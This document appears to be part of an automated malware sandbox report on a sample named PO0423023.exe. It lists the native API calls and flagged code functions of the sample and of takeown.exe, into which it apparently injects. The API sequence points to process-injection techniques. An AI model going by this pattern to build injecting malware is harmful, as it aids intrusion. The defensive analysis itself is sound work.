Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A02FB0 NtResumeThread, 3_2_01A02FB0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A02F90 NtProtectVirtualMemory, 3_2_01A02F90
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A02FE0 NtCreateFile, 3_2_01A02FE0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A02F30 NtCreateSection, 3_2_01A02F30
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A02F60 NtCreateProcessEx, 3_2_01A02F60
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A02EA0 NtAdjustPrivilegesToken, 3_2_01A02EA0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A02E80 NtReadVirtualMemory, 3_2_01A02E80
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A02EE0 NtQueueApcThread, 3_2_01A02EE0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A02E30 NtWriteVirtualMemory, 3_2_01A02E30
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A03090 NtSetValueKey, 3_2_01A03090
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A03010 NtOpenDirectoryObject, 3_2_01A03010
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A039B0 NtGetContextThread, 3_2_01A039B0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A03D10 NtOpenProcessToken, 3_2_01A03D10
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A03D70 NtOpenThread, 3_2_01A03D70
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AE4340 NtSetContextThread,LdrInitializeThunk, 6_2_03AE4340
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AE4650 NtSuspendThread,LdrInitializeThunk, 6_2_03AE4650
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AE2BA0 NtEnumerateValueKey,LdrInitializeThunk, 6_2_03AE2BA0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AE2BE0 NtQueryValueKey,LdrInitializeThunk, 6_2_03AE2BE0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AE2BF0 NtAllocateVirtualMemory,LdrInitializeThunk, 6_2_03AE2BF0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AE2B60 NtClose,LdrInitializeThunk, 6_2_03AE2B60
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AE2AF0 NtWriteFile,LdrInitializeThunk, 6_2_03AE2AF0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AE2AD0 NtReadFile,LdrInitializeThunk, 6_2_03AE2AD0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AE2FB0 NtResumeThread,LdrInitializeThunk, 6_2_03AE2FB0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AE2FE0 NtCreateFile,LdrInitializeThunk, 6_2_03AE2FE0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AE2F30 NtCreateSection,LdrInitializeThunk, 6_2_03AE2F30
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AE2E80 NtReadVirtualMemory,LdrInitializeThunk, 6_2_03AE2E80
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AE2EE0 NtQueueApcThread,LdrInitializeThunk, 6_2_03AE2EE0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AE2DF0 NtQuerySystemInformation,LdrInitializeThunk, 6_2_03AE2DF0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AE2DD0 NtDelayExecution,LdrInitializeThunk, 6_2_03AE2DD0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AE2D30 NtUnmapViewOfSection,LdrInitializeThunk, 6_2_03AE2D30
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AE2D10 NtMapViewOfSection,LdrInitializeThunk, 6_2_03AE2D10
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AE2CA0 NtQueryInformationToken,LdrInitializeThunk, 6_2_03AE2CA0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AE2C60 NtCreateKey,LdrInitializeThunk, 6_2_03AE2C60
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AE2C70 NtFreeVirtualMemory,LdrInitializeThunk, 6_2_03AE2C70
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AE35C0 NtCreateMutant,LdrInitializeThunk, 6_2_03AE35C0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AE39B0 NtGetContextThread,LdrInitializeThunk, 6_2_03AE39B0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AE2B80 NtQueryInformationFile, 6_2_03AE2B80
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AE2AB0 NtWaitForSingleObject, 6_2_03AE2AB0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AE2FA0 NtQuerySection, 6_2_03AE2FA0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AE2F90 NtProtectVirtualMemory, 6_2_03AE2F90
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AE2F60 NtCreateProcessEx, 6_2_03AE2F60
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AE2EA0 NtAdjustPrivilegesToken, 6_2_03AE2EA0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AE2E30 NtWriteVirtualMemory, 6_2_03AE2E30
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AE2DB0 NtEnumerateKey, 6_2_03AE2DB0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AE2D00 NtSetInformationFile, 6_2_03AE2D00
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AE2CF0 NtOpenProcess, 6_2_03AE2CF0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AE2CC0 NtQueryVirtualMemory, 6_2_03AE2CC0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AE2C00 NtQueryInformationProcess, 6_2_03AE2C00
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AE3090 NtSetValueKey, 6_2_03AE3090
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AE3010 NtOpenDirectoryObject, 6_2_03AE3010
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AE3D10 NtOpenProcessToken, 6_2_03AE3D10
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AE3D70 NtOpenThread, 6_2_03AE3D70
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03307BB0 NtDeleteFile, 6_2_03307BB0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03307AD0 NtReadFile, 6_2_03307AD0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03307970 NtCreateFile, 6_2_03307970
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03307DA0 NtAllocateVirtualMemory, 6_2_03307DA0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03307C50 NtClose, 6_2_03307C50
Detected potential crypto function
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 0_2_00BBD5DC 0_2_00BBD5DC
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 0_2_044D1400 0_2_044D1400
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 0_2_09488048 0_2_09488048
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 0_2_0948C978 0_2_0948C978
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 0_2_09480B90 0_2_09480B90
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 0_2_09480BA0 0_2_09480BA0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 0_2_0948CDA0 0_2_0948CDA0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 0_2_0948CDB0 0_2_0948CDB0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 0_2_0948AE98 0_2_0948AE98
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 0_2_0948D1E8 0_2_0948D1E8
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 0_2_094822C0 0_2_094822C0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 0_2_0948B2D0 0_2_0948B2D0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 0_2_09484298 0_2_09484298
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 0_2_094842A8 0_2_094842A8
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 0_2_094822B0 0_2_094822B0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_0040E04A 3_2_0040E04A
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_0040E053 3_2_0040E053
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_00401114 3_2_00401114
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_00402920 3_2_00402920
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_00401120 3_2_00401120
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_00401280 3_2_00401280
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_00403388 3_2_00403388
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_00403390 3_2_00403390
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_00401570 3_2_00401570
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_0040FDAA 3_2_0040FDAA
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_0040FDB3 3_2_0040FDB3
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_00402640 3_2_00402640
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_0042D653 3_2_0042D653
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_00416703 3_2_00416703
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_0040FFD3 3_2_0040FFD3
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A901AA 3_2_01A901AA
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A841A2 3_2_01A841A2
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A881CC 3_2_01A881CC
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019C0100 3_2_019C0100
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A6A118 3_2_01A6A118
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A58158 3_2_01A58158
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A62000 3_2_01A62000
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A903E6 3_2_01A903E6
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019DE3F0 3_2_019DE3F0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A8A352 3_2_01A8A352
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A502C0 3_2_01A502C0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A70274 3_2_01A70274
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A90591 3_2_01A90591
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019D0535 3_2_019D0535
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A7E4F6 3_2_01A7E4F6
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A74420 3_2_01A74420
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A82446 3_2_01A82446
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019CC7C0 3_2_019CC7C0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019F4750 3_2_019F4750
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019D0770 3_2_019D0770
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019EC6E0 3_2_019EC6E0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A9A9A6 3_2_01A9A9A6
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019D29A0 3_2_019D29A0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019E6962 3_2_019E6962
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019B68B8 3_2_019B68B8
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019FE8F0 3_2_019FE8F0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019DA840 3_2_019DA840
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019D2840 3_2_019D2840
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A86BD7 3_2_01A86BD7
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A8AB40 3_2_01A8AB40
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019CEA80 3_2_019CEA80
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019E8DBF 3_2_019E8DBF
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019CADE0 3_2_019CADE0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019DAD00 3_2_019DAD00
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A6CD1F 3_2_01A6CD1F
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A70CB5 3_2_01A70CB5
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019C0CF2 3_2_019C0CF2
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019D0C00 3_2_019D0C00
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A4EFA0 3_2_01A4EFA0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019C2FC8 3_2_019C2FC8
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019DCFE0 3_2_019DCFE0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A12F28 3_2_01A12F28
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A72F30 3_2_01A72F30
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019F0F30 3_2_019F0F30
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A44F40 3_2_01A44F40
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019E2E90 3_2_019E2E90
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A8CE93 3_2_01A8CE93
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A8EEDB 3_2_01A8EEDB
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A8EE26 3_2_01A8EE26
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019D0E59 3_2_019D0E59
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019DB1B0 3_2_019DB1B0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A9B16B 3_2_01A9B16B
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A0516C 3_2_01A0516C
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019BF172 3_2_019BF172
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A870E9 3_2_01A870E9
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A8F0E0 3_2_01A8F0E0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019D70C0 3_2_019D70C0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A7F0CC 3_2_01A7F0CC
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A1739A 3_2_01A1739A
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A8132D 3_2_01A8132D
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019BD34C 3_2_019BD34C
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019D52A0 3_2_019D52A0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A712ED 3_2_01A712ED
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019EB2C0 3_2_019EB2C0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A6D5B0 3_2_01A6D5B0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A995C3 3_2_01A995C3
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A87571 3_2_01A87571
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A8F43F 3_2_01A8F43F
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019C1460 3_2_019C1460
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A8F7B0 3_2_01A8F7B0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A816CC 3_2_01A816CC
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A15630 3_2_01A15630
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A65910 3_2_01A65910
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019D9950 3_2_019D9950
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019EB950 3_2_019EB950
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019D38E0 3_2_019D38E0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A3D800 3_2_01A3D800
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019EFB80 3_2_019EFB80
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A45BF0 3_2_01A45BF0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A0DBF9 3_2_01A0DBF9
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A8FB76 3_2_01A8FB76
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A15AA0 3_2_01A15AA0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A71AA3 3_2_01A71AA3
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A6DAAC 3_2_01A6DAAC
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A7DAC6 3_2_01A7DAC6
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A43A6C 3_2_01A43A6C
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A8FA49 3_2_01A8FA49
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A87A46 3_2_01A87A46
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019EFDC0 3_2_019EFDC0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A87D73 3_2_01A87D73
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019D3D40 3_2_019D3D40
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A81D5A 3_2_01A81D5A
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A8FCF2 3_2_01A8FCF2
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A49C32 3_2_01A49C32
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019D1F92 3_2_019D1F92
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A8FFB1 3_2_01A8FFB1
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01993FD2 3_2_01993FD2
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01993FD5 3_2_01993FD5
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A8FF09 3_2_01A8FF09
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019D9EB0 3_2_019D9EB0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03B703E6 6_2_03B703E6
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03ABE3F0 6_2_03ABE3F0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03B6A352 6_2_03B6A352
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03B302C0 6_2_03B302C0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03B50274 6_2_03B50274
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03B641A2 6_2_03B641A2
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03B701AA 6_2_03B701AA
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03B681CC 6_2_03B681CC
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AA0100 6_2_03AA0100
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03B4A118 6_2_03B4A118
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03B38158 6_2_03B38158
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03B42000 6_2_03B42000
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AAC7C0 6_2_03AAC7C0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AB0770 6_2_03AB0770
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AD4750 6_2_03AD4750
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03ACC6E0 6_2_03ACC6E0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03B70591 6_2_03B70591
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AB0535 6_2_03AB0535
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03B5E4F6 6_2_03B5E4F6
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03B54420 6_2_03B54420
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03B62446 6_2_03B62446
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03B66BD7 6_2_03B66BD7
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03B6AB40 6_2_03B6AB40
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AAEA80 6_2_03AAEA80
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AB29A0 6_2_03AB29A0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03B7A9A6 6_2_03B7A9A6
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AC6962 6_2_03AC6962
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03A968B8 6_2_03A968B8
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03ADE8F0 6_2_03ADE8F0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03ABA840 6_2_03ABA840
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AB2840 6_2_03AB2840
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03B2EFA0 6_2_03B2EFA0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03ABCFE0 6_2_03ABCFE0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AA2FC8 6_2_03AA2FC8
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03B52F30 6_2_03B52F30
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AF2F28 6_2_03AF2F28
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AD0F30 6_2_03AD0F30
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03B24F40 6_2_03B24F40
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03B6CE93 6_2_03B6CE93
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AC2E90 6_2_03AC2E90
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03B6EEDB 6_2_03B6EEDB
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03B6EE26 6_2_03B6EE26
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AB0E59 6_2_03AB0E59
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AC8DBF 6_2_03AC8DBF
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AAADE0 6_2_03AAADE0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03ABAD00 6_2_03ABAD00
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03B4CD1F 6_2_03B4CD1F
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03B50CB5 6_2_03B50CB5
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AA0CF2 6_2_03AA0CF2
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AB0C00 6_2_03AB0C00
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AF739A 6_2_03AF739A
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03B6132D 6_2_03B6132D
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03A9D34C 6_2_03A9D34C
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AB52A0 6_2_03AB52A0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03B512ED 6_2_03B512ED
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03ACB2C0 6_2_03ACB2C0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03ABB1B0 6_2_03ABB1B0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AE516C 6_2_03AE516C
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03A9F172 6_2_03A9F172
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03B7B16B 6_2_03B7B16B
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03B6F0E0 6_2_03B6F0E0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03B670E9 6_2_03B670E9
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AB70C0 6_2_03AB70C0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03B5F0CC 6_2_03B5F0CC
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03B6F7B0 6_2_03B6F7B0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03B616CC 6_2_03B616CC
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AF5630 6_2_03AF5630
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03B4D5B0 6_2_03B4D5B0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03B67571 6_2_03B67571
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03B6F43F 6_2_03B6F43F
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AA1460 6_2_03AA1460
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03ACFB80 6_2_03ACFB80
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03B25BF0 6_2_03B25BF0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AEDBF9 6_2_03AEDBF9
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03B6FB76 6_2_03B6FB76
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AF5AA0 6_2_03AF5AA0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03B51AA3 6_2_03B51AA3
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03B4DAAC 6_2_03B4DAAC
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03B5DAC6 6_2_03B5DAC6
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03B23A6C 6_2_03B23A6C
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03B67A46 6_2_03B67A46
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03B6FA49 6_2_03B6FA49
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03B45910 6_2_03B45910
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AB9950 6_2_03AB9950
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03ACB950 6_2_03ACB950
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AB38E0 6_2_03AB38E0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03B1D800 6_2_03B1D800
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03B6FFB1 6_2_03B6FFB1
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AB1F92 6_2_03AB1F92
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03B6FF09 6_2_03B6FF09
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AB9EB0 6_2_03AB9EB0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03ACFDC0 6_2_03ACFDC0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03B67D73 6_2_03B67D73
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AB3D40 6_2_03AB3D40
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03B61D5A 6_2_03B61D5A
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03B6FCF2 6_2_03B6FCF2
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03B29C32 6_2_03B29C32
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_032F15B0 6_2_032F15B0
